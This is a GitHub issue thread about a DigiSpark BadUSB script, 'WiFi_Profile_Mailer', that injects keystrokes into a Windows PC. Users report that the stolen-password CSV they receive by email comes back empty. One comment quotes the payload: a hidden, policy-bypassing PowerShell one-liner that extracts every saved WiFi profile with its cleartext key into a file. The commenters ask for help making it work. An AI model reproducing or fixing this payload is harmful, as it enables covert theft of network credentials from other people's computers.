DigiSpark-Scripts icon indicating copy to clipboard operation
DigiSpark-Scripts copied to clipboard

Wifi Password file blank

Open sergio-delia opened this issue 4 years ago • 3 comments

Hello, the code works perfectly but the file temp.csv is always blank (0 bytes). Why?

sergio-delia avatar Aug 19 '21 08:08 sergio-delia

Hi, glad you are interested in using one of the WiFi mailer scripts. Could you please provide some more relevant information like which script you are using, if the computer you are using the script on indeed has WiFi passwords stored on it, your Windows Build number etc.?

CedArctic avatar Aug 21 '21 05:08 CedArctic

hi, i have the exact same problem with this script: https://github.com/CedArctic/DigiSpark-Scripts/blob/master/WiFi_Profile_Mailer/WiFi_Profile_Mailer.ino i am sure my pc has wifi passwords saved but the .csv file i receive by email is empty, my windows build is 19042.1165, I think I have found the problem but I don't know how to fix it, the line:

DigiKeyboard.print (F ("powershell -NoP -NonI -W Hidden -Exec Bypass " (netsh wlan show profiles) | Select-String '\: (. +) $' |% {$ Name = $ _. Matches .Groups [1] .Value.Trim (); $ _} |% {(netsh wlan show profile name = $ name key = clear)} | Select-String 'Key Content \ W + \: (. +) $ '|% {$ pass = $ _. Matches.Groups [1] .Value.Trim (); $ _} |% {[PSCustomObject] @ {PROFILE_NAME = $ name; PASSWORD = $ pass}} | Export-Csv temp .csv \ ""));

has an output which I believe is incorrect, I get:

powershell -NoP -NonI -W Hidden -Exec Bypass \ (netsh wlan show profiles) | Select-String : (. +) $ | % {$ name = $ _. Matches.Groups [1] .Value.Trim (); $ _} | % {(netsh wlan show profile name = $ name key = clear)} | Select-String Key Content '' W + '': (. +) $ | % {$ pass = $ _. Matches.Groups [1] .Value.Trim (); $ _} | % {[PSCustomObject] @ {PROFILE_NAME = $ name; PASSWORD = $ pass}} | Export-Csv temp.csv

thanks in advance for any help.

fiustif avatar Sep 03 '21 08:09 fiustif

Hellow @fiustif, i have the same problem, did you manage to solve it? if yes, please send me the solution :)

Vinnybrunn00 avatar Apr 25 '23 00:04 Vinnybrunn00